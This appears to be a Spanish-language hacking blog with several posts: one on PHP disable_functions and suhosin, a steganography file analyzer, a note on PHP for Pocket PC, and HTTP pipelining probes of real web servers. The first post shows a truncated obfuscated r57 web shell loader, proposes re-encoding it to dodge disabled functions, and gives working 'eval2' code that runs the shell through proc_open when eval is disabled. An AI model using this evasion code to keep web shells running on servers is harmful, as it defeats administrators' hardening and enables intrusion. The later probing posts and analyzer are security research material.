disable_functions & suhosin patch

Posted on 11:50 by Xianur0

Es una directiva de php, y pues tiene bastantes usos, pero en si para lo que nos sirve es para desactivar determinadas funciones en php, por ejemplo:


<? eval2(gzinflate(base64_decode("7b15f+I48jj89+TzyXtwe7NjmCYECORsMkkISUjnBHJ29y9rsAPuGMzYkKNn+70/[...]"))); ?>


Bueno eso vendria siendo un troso de la r57 encriptada, podemos ver claramente cual es el proceso de decodificacion y ejecucion, es decir, si desactivamos la funcion base64_decode, tirara un error de tipo "Warning" avisando que la funcion esta desactivada, y por ende esta shell no se ejecutara, ahora si esta desactivada esa funcion solo es cosa de hacer otra clase de codificacion, se me ocurre pasar cada caracter de la shell a hexadecimal (mas bien seria urlencode), es decir quedarian el valor hexadecimal con prefijo "%" por ejemplo un espacio seria "%20"

luego se integra un script que decodifique y retorne la shell compresa (gzdeflate), aunque basicamente es lo mismo que hacen con base64, ahora si se desactiva el gzinflate, hay funciones similares que se pueden usar:

gzcompress/gzuncompress
etc...

por lo cual tambien seria facil ejecutar nuestra shell, pero si se desactiva eval? (este no se desactivaria con disable_functions, si no con el suhosin-patch)

Para los que se preguntan como se desactiva el eval, necesitan tener el php con suhosin y en el php.ini poner la directiva:

suhosin.executor.disable_eval = 1

pues usar lo que tenemos, si hay alguna funcion para ejecutar comandos activa (eso incluye las comillas invertidas "``")

podemos hacer algo como:



function eval2($php) {
// eval2 By Xianur0
$cabecera = "<?php\n";
foreach($_GET as $key => $valor) $cabecera .= '$_GET['.$key.'] = "'.$valor.'";';
foreach($_POST as $key => $valor) $cabecera .= '$_POST['.$key.'] = "'.$valor.'";';
foreach($_SERVER as $key => $valor) $cabecera .= '$_SERVER['.$key.'] = "'.$valor.'";';
foreach($HTTP_POST_FILES as $key => $valor) $cabecera .= '$HTTP_POST_FILES['.$key.'] = "'.$valor.'";';
$consulta = $cabecera.$php." ?>";
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
$cwd = getcwd();
$process = proc_open('php', $descriptorspec, $pipes, $cwd);
if (is_resource($process)) {
fwrite($pipes[0], $consulta);
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
}
}

y ahi quedo, incluso el eval se puede remplazar, aunque en este caso se requiere que el servidor tenga proc_open, aunque se podria usar cualquier otra funcion para ejecutar comandos (php -r)


y regresando al disable_functions

para los que no esten familiarizados con como usarlo:

disable_functions = "system"

esa seria mas o menos su sintaxis (En el archivo php.ini), nadamas es que le cambien y pongan que funciones quieren desactivar, reiniciar el servidor y listo...


Ejemplo de una r57 encriptada con eval desactivado:


Ejemplo de la misma r57 en el mismo servidor usando el eval2:




Saludos y espero que les haya gustado
By Xianur0

Analizador de archivos v0.000001...

Posted on 12:08 by Xianur0

Es decir una tool para el estudio de la esteganografia (basica), es decir, mediante un array asociado y sus respectivos valores hexadecimal (urlencode) se buscan el tipo de archivo, inicio y final. Con la finalidad de detectar posibles archivos o datos ocultos en un archivo cargado.


<html>
<head>
<title>Analizador de archivos v0.000001 By Xianur0</title>
</head>
<body>
<center>
<!-- %62%79%20%58%69%61%6E%75%72%30 -->
<h1>Analizador de archivos v0.000001 By Xianur0</h1>
<form action="?" method="post" enctype="multipart/form-data">
<b>Archivo: </b>
<br>
<input name="archivo" type="file">
<br>
<input type="submit" value="Enviar">
</form>

<?php
if(!isset($HTTP_POST_FILES['archivo']['tmp_name'])) exit;
function ascii2hex($ascii) {

$hex = '';

for ($i = 0; $i < strlen($ascii); $i++) {

$byte = strtoupper(dechex(ord($ascii{$i})));

$byte = str_repeat('0', 2 - strlen($byte)).$byte;

$hex.= "%".$byte;

}

return $hex;

}


// Este es el array donde se especifica el tipo de archivo segun la cabecera inicial
// y se da el final del archivo, aqui puede ir agregando sus tipos de archivos con su
// respectiva cabecera y final (usen un editor hexadecimal para encontrar estos valores en el
// tipo de archivo que quieren).

$estructuras = array("jpeg"=>array("inicio" => "%FF%D8%FF%E0%10%4A%46%49%46", "final" => "%FF%D9"),);


$nombre_archivo = $HTTP_POST_FILES['archivo']['tmp_name'];

$gestor = fopen($nombre_archivo, "rb");

$contenido = fread($gestor, filesize($nombre_archivo));

fclose($gestor);

$archivohex = ascii2hex($contenido);

$largoarchivo = strlen($archivohex);
foreach($estructuras as $tipo => $array) {

$inicio = strpos($archivohex,$estructuras[$tipo]['final']);

$final = $inicio+strlen($estructuras[$tipo]['final']);

$resto = substr($archivohex,$final);
$regex = "/^".$estructuras[$tipo]['inicio']."/";

if(preg_match($regex,$archivohex)) {
$encontrado = 1;

print "<b>Tipo de archivo: </b>".$tipo."<br>";

print "<b>Largo del ".$tipo." en hex: </b>".$largoarchivo."<br>";

print "<b>Ubicacion final del ".$tipo." en hexadecimal: </b>".$inicio."-".$final."<br>";
print "<b>Ubicacion del ".$tipo." en hexadecimal: </b>0-".$final."<br>";

if($final != $largoarchivo) {

print "<b>Datos ocultos: </b><a href=\"data:text/html;utf-8,".$resto."\">Descargar binario</a>";

} else print "<b>No datos ocultos :)</b>";

}
if($encontrado != 1) print "<b>No se pudo reconocer el tipo de archivo :(</b>";
}

?>
<!-- %62%79%20%58%69%61%6E%75%72%30 -->
<br><br><br><br><br><a href="http://xianur0.blogspot.com/">By Xianur0</a>
</center>
</body>
</html>



Nota: Cuando da el link para descargar el archivo oculto, den click derecho -> guardar enlace como, de otro modo el navegador mostrara el contenido ahi mismo xD...

PocketHPH (PHP para Pocket PC)

Posted on 17:39 by Xianur0


Nadamas les comento sobre una aplicacion interesante, esto es un servidor web con php corriendo en tu PocketPC, es decir, puedes diseñar aplicaciones PHP desde tu PocketPC:

"Pocket HPH is a compact PHP processing engine designed to run on handheld devices."

Sin duda una aplicacion excelente para desarrollar webs de forma mobil xD. La tengo instalada en mi treo 750, y jala perfectamente. Unicamente hay que adaptarnos a algunas funciones que cambian de HPH al PHP oficial y podemos diseñar completamente lo mismo, la diferencia es que esto es mucho mas mobil.


http://mobileleap.net/hph/

Vamos a ver un poco de como se puede analizar la forma que implementan el protocolo HTTP, con diferentes fines, por ejemplo para detectar que tan buen uso le dan al protocolo y que tan susceptibles serian ante diferentes clases de ataques, vamos a dar unos ejemplos:

Servidor Web: Apache
Open-Source: Si
Programado en: C
HTTP Pipelining: Soportado y activado por default


Vamos a hacer unas pruebas (con www.apache.org):

Enviado:

HEAD / HTTP/1.1
Host: www.apache.org
Content-Length: 7

xianur0TRACE / HTTP/1.1
Host: www.apache.org


Resultado:
HTTP/1.1 200 OK
Date: Wed, 03 Feb 2010 18:52:06 GMT
Server: Apache/2.3.5 (Unix) mod_ssl/2.3.5 OpenSSL/0.9.7d mod_fcgid/2.3.2-dev
Last-Modified: Wed, 27 Jan 2010 08:40:59 GMT
ETag: "b95834-8667-47e215c92fcc0"
Accept-Ranges: bytes
Content-Length: 34407
Cache-Control: max-age=86400
Expires: Thu, 04 Feb 2010 18:52:06 GMT
Vary: Accept-Encoding
Content-Type: text/html

HTTP/1.1 200 OK
Date: Wed, 03 Feb 2010 18:52:06 GMT
Server: Apache/2.3.5 (Unix) mod_ssl/2.3.5 OpenSSL/0.9.7d mod_fcgid/2.3.2-dev
Transfer-Encoding: chunked
Content-Type: message/http

2a
TRACE / HTTP/1.1
Host: www.apache.org


0


Conclusion:
Podemos determinar mediante esta simple consulta que sin importar el metodo que se esta usando, el servidor web apache considera el Content-Length, es decir se lee lo enviado como POSTDATA (contenido que se envia por POST), esto tendria como consecuencia algunos detalles por ejemplo un retardo (minimo) al intentar leer el Content-Length y parsear el postdata segun el largo dado. Esto es, apache no considera muy afondo la estructura del HTTP, pues segun la estructura del protocolo, solo se puede enviar postdata mediante el metodo POST, en caso de que el metodo sea GET, solo se pueden enviar parametros en el campo de uricontent, es decir no sera POSTDATA, sino uricontent.


Servidor Web: IIS/7.5
Open-Source: NO (ni soñando xD)
HTTP Pipelining: Soportado y activado por default


Vamos a hacer unas pruebas (con www.microsoft.com):
HEAD / HTTP/1.1
Host: www.microsoft.com
Content-Length: 40

TRACE / HTTP/1.1
Host: www.microsoft.com



Resultado:

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 1020
Content-Type: text/html
Last-Modified: Mon, 16 Mar 2009 20:35:26 GMT
Accept-Ranges: bytes
ETag: "67991fbd76a6c91:0"
Server: Microsoft-IIS/7.5
VTag: 279999051900000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Wed, 03 Feb 2010 19:29:13 GMT




Conclusion:
La misma que con apache...


Servidor Web: Cherokee Web Server/0.99.39
Open-Source: Si
Programado en: C
HTTP Pipelining: Soportado y activado por default



GET / HTTP/1.1
Host: www.cherokee-project.com
Content-Length: 51

HEAD / HTTP/1.1
Host: www.cherokee-project.com



Resultado:

HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=60
Date: Wed, 03 Feb 2010 19:42:47 GMT
Server: Cherokee/0.99
ETag: 4b61ed6d=219b
Last-Modified: Thu, 28 Jan 2010 20:02:53 GMT
Content-Type: text/html
Content-Length: 8603

[...]

HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=60
Date: Wed, 03 Feb 2010 19:42:47 GMT
Server: Cherokee/0.99
ETag: 4b61ed6d=219b
Last-Modified: Thu, 28 Jan 2010 20:02:53 GMT
Content-Type: text/html
Content-Length: 8603


Conclusion:

Cherokee si respeta el metodo antes de leer las cabeceras, por lo cual pierde menos tiempo procesando lo inutil.

Cherokee Win!